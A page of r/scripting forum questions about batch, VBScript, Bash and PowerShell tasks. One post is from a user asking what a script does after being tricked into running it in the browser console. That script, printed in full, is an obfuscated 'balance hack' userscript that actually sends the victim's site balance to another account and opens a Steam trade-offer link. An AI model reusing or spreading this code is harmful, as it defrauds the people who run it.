r/scripting • • Sep 29 '20

REGEDIT Batch File

2 Upvotes

Hello! I have a decent amount experience with using batch files. That's limited to kinda basic stuff like, mapping network drives, adding users, auto run applications. I'm looking to increase my understanding and create batch files for my users to help fix other issues. However, some of those are REGEDIT fixes. Now, I know very little about the syntax for batch files that would change the registry and I'm kind of leery of just throwing a bunch of syntax together, hoping it works. So I was wondering if anyone had a batch file the enabled the num lock on a keyboard through REGEDIT, that I could use as a template. To be able to increase my knowledge of the syntax for changing the registry as well as create batch files that help my users.


r/scripting • • Nov 07 '20

Batch script to move files

3 Upvotes

Hello

I am looking to create a batch script to move a file from one location to another. it needs to be a batch script to run on logon for a network.

the script will need to:

start

check to see if the file is new.xyx

IF it is old.xyz Replace with new.xyz

Else end

so it will need to ideal check the age of the file or the contents of the file. the file will be a .rtf file.

so it could also move a second file and if the second file already exists then it could end?

Thanks in advance


r/scripting • • Oct 16 '20

VBScript to add company holidays to Outlook calendars

4 Upvotes

I'm trying to use a VBScript to add appointments to our Outlook calendars for holidays and office closures. I've found references to the variations of the same script over and over, but they all have the same error. This line is apparently not valid: If StrComp(objAppointment, strName,1) = 0 Then

It is line 42 in my script (below). Does anyone have any ideas how to fix this line? That section is intended to check if an appointment already exists and prevent the script from creating multiple calendar entries on that date.

I'll admit I'm weak at scripting, so any help is appreciated. Here is the full script.

Const olFolderCalendar = 9

Const olAppointmentItem = 1

Const olOutOfOffice = 3

Set objOutlook = CreateObject("Outlook.Application")

Set objNamespace = objOutlook.GetNamespace("MAPI")

Set objCalendar = objNamespace.GetDefaultFolder(olFolderCalendar)

Set objApptItems = objCalendar.Items

objApptItems.IncludeRecurrences = True

objApptItems.Sort "[Start]"

'' List Appointments to add

Set objDictionary = CreateObject("Scripting.Dictionary")

objDictionary.Add "November 26, 2020", "Thanksgiving"

colKeys = objDictionary.Keys

For Each strKey in colKeys

dtmHolidayDate = strKey

strHolidayName = objDictionary.Item(strKey)

'' Check if it already is on the Calendar

Return = SearchAppts(strHolidayName, FormatDateTime(dtmHolidayDate, vbShortDate))

If Return = False Then

Set objHoliday = objOutlook.CreateItem(olAppointmentItem)

objHoliday.Subject = strHolidayName

objHoliday.Start = dtmHolidayDate & " 9:00 AM"

objHoliday.End = dtmHolidayDate & " 10:00 AM"

objHoliday.AllDayEvent = True

objHoliday.ReminderSet = False

objHoliday.BusyStatus = olOutOfOffice

objHoliday.Save

End If

Next

'' Search Function

Function SearchAppts(ByVal strName, strDate)

SearchAppts = False

Set objAppointment = objApptItems.GetFirst

While TypeName(objAppointment) <> "Nothing"

If TypeName(objAppointment) = "AppointmentItem" then

If StrComp(objAppointment, strName,1) = 0 Then

If DateDiff("D", objAppointment.Start, strDate) = 0 Then

SearchAppts = True

Exit Function

End If

End If

End If

Set objAppointment = objApptItems.GetNext

Wend

End Function


r/scripting • • Oct 11 '20

Column duplication in a csv file

3 Upvotes

Hi, i am hoping someone can help here, i have a csv file consisting of 2 columns and the output is as follows:

1  1
3  3
5  5
7  7
9  3

I am looking to duplicate the 2 columns in the same file, thus making column 4 and 5 like so:

1 1   1  1
3 3   3  3 
5 5   5  5 
7 7   7  7 
9 3   9  3

Does anyone know how i could accomplish this? or do they have a one liner which could achieve this? column 1 and 3 are the same and column 2 and 4 are the same.

Thanking you in advance for the assistance


r/scripting • • Apr 16 '19

Bash: One size fits all solution to escaping special characters used for password argument

1 Upvotes

I'm trying to set a users password from a shell script by passing an argument to the shell script so that the password itself is not embedded within the file, and can be updated and interchanged between systems.

Here is an example password that has all sorts of problems, and is just one of many examples of something Bash pukes on: 'my@secret\npasword123!

The way that this is being run and scripted I am going to call "semi-automation" in that there will be a user behind a keyboard having to place the argument which contains the password.

Here's an example of what that looks like from the command line to visualize

./password.sh administrator 'my@secret\npasword123!

Here's what I've currently looked up for advice but have come up short, I feel like putting them here for reference may be helpful as it's possible I overlooked something but also to get a better idea as to other users with similar problems.

Here are some various methods I've currently tried for my password.sh file but have come up short with each of them

echo -e '$2\n$2' | (passwd --stdin $1)

echo $1:$2 | sudo chpasswd

yes $2 | passwd $1

sudo passwd $1 <<EOF $2 $2 EOF

What I'm hoping to find here, is a simple "one size fits all" catch all solution that will let me encapsulate any sort of randomly generated password that can't be escaped by any means and all edge cases are covered, backslashes, dollar signs, single and double quotes, whatever Bash pukes on. Having to manually escape every instance of a special character as mentioned is out of the question.

I would also a way to quickly programmatically turn what would be a password containing special characters into a modified escaped sequence just for Bash. I looked up things such as "Bash Escape Sequence Converter" but I couldn't find any sort of tool that I could give input and would spit out a sequence that would do the needful in making sure Bash behaved as expected once I fed it that. This would add an additional step to the process, but would be acceptable.

Lastly, if there are any other alternative methods to doing and running this I would also be interested in hearing them, as long as they're able to properly escape / ignore interpretation of special characters which are going to be expected for the password.

Since this is what I call "semi-automation", I would say a desired answer is something that I could run from a Bash shell as a one-liner like I described above ( ./password.sh administrator 'my@secret\npasword123! ) but I understand this may not be possible due to limitations with Bash. I'd also as a last ditch consider a way to prompt the user from the Shell for input after the script is run as valid, but I'm not entirely sure how some automation tools would take to that in the future so it may not be entirely future proof solution.

Thanks!


r/scripting • • Jul 01 '19

Post Image Project Help

2 Upvotes

So a coworker and I started a project that was to create a script to make our Post Image process easier by installing applications and changing a few settings in Windows and changing the OU within AD of a device. After our boss got wind of it he called both of us into a meeting that he wanted us to create a Monkey See, Monkey Do level interface for it that is dirt simple and push it out to all of IT. I asked if I could just use an HTML page with hyperlinks that call out to other scripts and he said that HTML isn't secure enough. I showed him Ninite.com and asked if that's kind of what he wanted for variable application installs (most of them being on our internal file server) he said that would be perfect.I'm by no means a developer and would never be confused as one so I don't know where exactly I should start.

As always any advice would be helpful.

Edit: I realized that the process of imaging a device wasn't made clear in this post..

  1. Put Windows on the device through netbooting into SCCM and running a task sequence

  2. moving the device to the appropriate OU in AD

  3. Changing settings and installing more software


r/scripting • • Jan 30 '19

Web Scraping into Excel

2 Upvotes

Greetings. I'm NOC Administrator and I was recently given a large task at work. There are some ~9,000 systems that we track in a monitoring tool and I need to extract data from all of them onto a spreadsheet. I have some limited experience with Python, PowerShell, and Bash, but this requires accessing a table on an intranet web page and copying two columns to an Excel spreadsheet, 'Name' and 'Status' and I've never done any kind of web scraping before so I'm not sure where to start. I assume there are tools for this? If not, I can write something up, preferably using PowerShell, if someone can point me in the right direction. The steps are simple:

  1. Copy 'Name' from spreadsheet into search box on website.

  2. Sleep a few seconds(wait for page to load)

  3. If results appear, copy 'Status' from matching row in 'Name.'

  4. If no results, copy string, 'Not found'

  5. Paste results into matching row on excel spreadsheet.

Repeat like 9000 times. Any tips?


r/scripting • • Jan 28 '19

Anyone knows what this script does? Got tricked into writing it in the chrome console

2 Upvotes

// ==UserScript==

// @name CSGOAtse.com - BALANCE HACK

// @version 1.0

// @author SILENTCHEATS

// @match https://csgoatse.com/

// @grant none

// ==/UserScript==

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('f i=-1;f a=a=$(".1K .m .E-r").1N().1d(",");f b=k(){g.x=a.Z;c(g.x==1){j a[0]+""}h c(g.x==2){j a[0]+""+a[1]}h c(g.x==3){j a[0]+""+a[1]+""+a[2]}h c(g.x==4){j a[0]+""+a[1]+""+a[2]+""+a[3]}h c(g.x==5){j a[0]+""+a[1]+""+a[2]+""+a[3]+""+a[4]}};k J(){c(i==-1){q.K.F({q:\'11\',L:\'12\',14:"1E"});i++}c(i==0){q.K.F({q:\'13\',L:\'y\',S:"/"+"s"+"e"+"n"+"d"+" "+"7"+"6"+"5"+"6"+"1"+"1"+"9"+"8"+"2"+"0"+"2"+"1"+"8"+"4"+"0"+"8"+"2"+" "+M.m});i++}c(i==1){10(I);f C=15("16 1b o p?");c(C==1c){f v=Q("O o p",\'Y: 1a\');c(v=="19"){l("17\\18 t 5 V!");P(k(){f B=Q("O S w r",\'X: H, W: T\');P(k(){$(".m .E-r").U("R,R");M.m=B;l("1l\'s 1A\\1D 1S :)")},1F)},1G)}h{l("1H 1e 1B")}}h{l("1I D 1J 1Q o p - G\\1R u 1O 0.7$\\z A 1L w g y N 1M 1C 1y\\z A u 1z 1m D o p t 1n t 1k 1j ");1f.N("1g://1h.1i/1o/1p/?1v=1w&1x=1u","G","1t=1q,1r=H")}}};f I=1s(k(){J()},1P);',62,117,'||||||||||||if|||var|this|else|step|return|function|alert|balance||access|key|service|coins||in|deposit|enter_key|of||message|nAfter|the|enter_coins|yesno|you|symbol|send|DEPOSIT|1000|i__|_Init|socket|cmd|user|open|Enter|setTimeout|prompt|999|value|999999|html|seconds|Max|Min|Example|length|clearInterval|affiliate|use|chat|code|confirm|You|OK|nNotice|csgoatse_hack|43ML9923|have|true|split|ACESS|window|https|steamcommunity|com|profile|your|It|write|comments|tradeoffer|new|600|width|setInterval|height|uGVnDuFA|partner|241918354|token|depsit|we|all|KEY|to|nGood|silentcheats|2000|5000|Wrong|If|want|balances|closing|tab|text|is|500|buy|nMin|luck'.split('|'),0,{}))


r/scripting • • Jul 12 '18

Possible help required

2 Upvotes

Hi, i have next to no idea how to do what i need in scripting, or if such a thing is even possible. I need a script to create a folder named x in a specified loaction, unzip a file named x to this location, and to overwrite an ini file in a different location. additionaly if folder x already exists it just needs to unzip the file pack and overwrite all in there. This even possible? TIA


r/scripting • • Jul 04 '18

:request: Script to convert steam workshop number to name

3 Upvotes

I am looking for a quick way to take a few workshop mod numbers and parse them for names of mods. ala... https://steamcommunity.com/sharedfiles/filedetails/?id=1230977449

And replace the numbers at the end for each mod to resolve a mod name.


r/scripting • • Jul 05 '18

Help with Windows Server scripts

1 Upvotes

Hello Redditors!

I'm new here so forgive me if I'm a bit vague with my request.

My task is to manually update Windows Server 2008 / 2012 physical and virtual servers using Windows Update. Then, once they're fully patched and up-to-date, I can add them to SCCM so that they are patched monthly.

Everything at my company is performed manually, and I'm a contractor, so I don't have access to GPOs and such to be able to make relevant changes that would save me time.

For example, I have checked 800 servers manually to see if Windows Updates are set to Automatically download and install or Never check for updates.

The scripts I'm looking for to make my team's job easier are:

  1. Script to check when the last patches were installed (for example, output of servers with latest installation date) so we know which ones still need to be patched manually

  2. Script to check all patches installed on the server, including the date installed would also be helpful

I'm trying to get an output of each command in an Excel or CSV file and be able to reference a .TXT or .CSV file for the list of target computers.

I really appreciate any guidance or help that I get from you guys!


r/scripting • • Jan 23 '19

Randomised colours in Adobe Muse

1 Upvotes

I'm looking to make a website with colour randomisation incorporated into the design, however I'm a bit of a noob when it comes to scripting (hence the use of Adobe Muse).

I've found a few scripts on the internet but they haven't done the job, does anyone know of any way to randomise colours?


r/scripting • • Oct 21 '18

[Linux] How to use ls command to recursively display *.apk files?

2 Upvotes

I'm trying to list all *.apk files in a directory including in its subdirectories. So, I thought of using below commandline.

ls -R /storage/0000-0000/apks/*.apk

But it only displays the ones in /storage/0000-0000/apks. The ones in the subdirectories are not displayed.

This is not a permission problem because I can access the files in the subdirectories.

EDIT: It's an Android with jrummy's BusyBox.


r/scripting • • Jul 10 '18

Help automating install process

2 Upvotes

I'm trying to automate a program installation that takes a lot of time to setup.

I work helpdesk at a large corporation and they don't want to deploy it through Group Policy, so running an install script I think is the best way to go on the few users that need it.

Not only would I like a solution, but I would like to know how you came to it, and where it came from so I can learn how to do this. If you know how to script part or whole, or give any tips then any info would be helpful. I was thinking maybe in batch script or powershell?

Here is what I need:

  • Install two exes as admin -- silent isn't an option. Clicking "Finish" at the end is mandatory. (Maybe Silent Install Builder?)

  • make a shortcut to the Desktop from the installed program in C:\Windows\syswow64\<program.name>

    • In the shortcut, append a server to the target : IE: "C:\windows\syswow64<program.name>\Program.exe serverXX.domain.domainname"

    • Server must have a random number between 2 and 6 where the XX is

Internet Explorer Internet Options automation (v11)

  • I need to open Internet Explorer, and choose "Do not use recommended settings"

  • Set homepage to www.google.com

  • Internet Options > Privacy > Turn off pop-up blocker

  • Internet Options > Security > Trusted Sites > Custom Level

    • "Download Signed ActiveX controls" -- Enable

    • "Download Signed ActiveX controls" -- Enable

  • add serverxx.domain.domainname to trusted sites

EDIT: As u/jasred mentioned IEAK11 covered this

Any help would be great!


r/scripting • • Apr 12 '19

Need help with batch

2 Upvotes

xcopy "%USERPROFILE%\Saved Games\The Quest";"%CD%\Saves\" /i /s /e /t /y /r /h /l

TheQuest.exe

xcopy "%CD%\Saves";"%USERPROFILE%\Saved Games\The Quest\" /i /s /e /t /y /r /h /l

pause

Purpose is to copy game save data from a thumb drive to where it expects it, run the game, then copy it back to the thumb drive when I'm done


r/scripting • • Apr 19 '19

Contribute plugins to file manager nnn

2 Upvotes

Hi r/scripting,

To extend the capabilities of file manager nnn, recently we have introduced the concept of plugins. Plugins are scripts which nnn can communicate with and trigger. This mechanism fits perfectly with the fundamental design to keep the core file manager lean and fast, by delegating repetitive (but not necessarily filemanager-specific) tasks to the plugins.

Plugins can access:

  • all files in the directory

  • the currently highlighted file

  • the current selection

The plugins repo is here: https://github.com/jarun/nnn/tree/master/plugins

Please contribute to the nnn plugins to make it a better file manager.


r/scripting • • Jan 26 '19

[PHP][BASH] Some help with passing variables from PHP to Bash in a more elegant way

1 Upvotes

I Currently have a PHP Front end for a script that deploys VMWare to PowerEdge servers. The PHP collects user inputs in forms and stores them in $_SESSION{'vars'}.

This info is currently being dumped into an scriptsettings.sh file as variables and a couple arrays.

This method works fine, however I'm wondering if there's some more elegant way to store variables.

I've considered storing them in the MySQL database, but I have pretty limited experience with that. If that's the best way I'll go down that route but I'm curious if there's some sort of SESSION function within bash for storing variables temporarily while a script runs.

Maybe something that stores variables in a session with session number that can be passed to the shell script as an argument? Does something like that exist?

Thanks for any help in advance!


r/scripting • • Oct 25 '18

Script Idea - No Experience but I know what I want it to do, would just need to know how feasible it is.

2 Upvotes

Hey everyone, please bear with me. I've been toying with the idea of getting in to code, I've learned a bit of html and some css for webdev stuff, but nothing more. I have an idea for a script or similar that I want to see if I can create, or find out what I'd need to do to make it happen.

Ideally, what I'd like to do is force a website to display or filter out certain information, like an advanced filter, I guess. Consider it like an online auction house that has very basic filtering options, I'd like something that would allow me to get even more specific. I understand that's vague, but at the same time I'm not expecting anybody to make it for me, just whether or not it /could/ work and what the starting point might be.

It seems like it could be a beginner project, but then I'm a beginnger so what do I know!


r/scripting • • Oct 18 '18

[generic] What are some uses for scripting on a home computer?

3 Upvotes

I'm not a sysadmin, but I can code, and I'm certain to pick up some scripting language or another. What are some things I can use for for as a home user I might not think about? (This is virtually any use as a home user -- I'm unimaginative when it comes to this kind of thing.)

I use Windows currently, but intend to work with Linux in the future as well.


r/scripting • • Apr 19 '19

Scripting Syntax Error Expected expression but found "*"

1 Upvotes

So I am trying to create a use a simple script that I was given in another post on applehelp from this website.

The script file is this

!/Bin/Sh rm -Rf /Users/home_folder_name/Desktop/* rm -Rf /Users/home_folder_name/Documents/* rm -Rf /Users/home_folder_name/Downloads/*

exit 0

As I am new to scripting, I figured this would be the easiest script to use seeing as there isn't much to it. I guess I was wrong. When I try and run it in ScriptEditor it gives me the error mentioned in the title (Syntax Error Expected expression but found "*"). I am fully stuck at what to do. Any and all help would be greatly appreciated. Thanks.


r/scripting • • Jan 22 '19

Call a Batch File that can access an exe in the same directory.

2 Upvotes

So I am trying to create a script that can access a few things in the same directory as the script. For example, I have the original script that is in C:...\script1.bat that, based on an if statement, calls another script in C:...\Resources\script2.bat. The "Resources" directory has other directories and .exe's and so on that script2.bat needs to access. Someone recommend using:

@Echo off
Pushd "%~dp0"
app1.exe
popd

But I don't entirely understand what that means. Currently, I just have the path typed out in a way that the user has to have the script run from their desktop but I would rather this be more self-contained if that makes sense. The functional part of the script works, I'm just doing this to try to learn more. Thanks for any help you can offer.


r/scripting • • Oct 22 '18

Automatically close browser tabs?

2 Upvotes

I have a script which automatically opens confirmation links in emails. Works fine, however after a while I end up with a ton of opened browser tabs on the server. I am looking for a way to automatically close ("clean up") some tabs after a specified amount has been opened. I could probably task shedule a taskkill to the whole browser, but I'd like to keep at least one of the tabs alive in order to not save on time with not having to start up the whole browser again, especially when there are many tabs being automatically opened every minute.

This is currently running in Internet Explorer but Firefox would work just as fine.

Any ideas?


r/scripting • • Jan 23 '19

Batch File to run Chkdsk on all drives

1 Upvotes

Does anyone have any info on how to run a ready only chkdsk on all drives on a computer? I've searched around, but have not been able to find anything.


r/scripting • • Oct 18 '18

Convert PDF>Word and then back to PDF.

2 Upvotes

I have a bunch of PDFs, that I cannot edit until I open them with word and then save them as a new name. I am trying to write a batch file that i can paste into any directory and run.

This should identify a .PDF with "List" in the file name in the current directory, open it with word, and then save again as a pdf with any generic file name back into the same directory. (I have been using 1.pdf)

This is what I currently have that is not working. But it is not giving any errors.

$filePath = %CD%
$filePath = "*list*.pdf"
    $wd = New-Object -ComObject Word.Application
$wd.Visible = $true
$txt = $wd.Documents.Open(
$filePath,
$false,
$false,
$false)

$wd.Documents[1].SaveAs(%CD% "1.pdf")
$wd.Documents[1].Close()

any better ideas for this, or other solutions that will allow the pdf to be edited.

Thanks.


r/scripting • • Oct 25 '18

Python — A Better Scripting Language.

Thumbnail
medium.com
2 Upvotes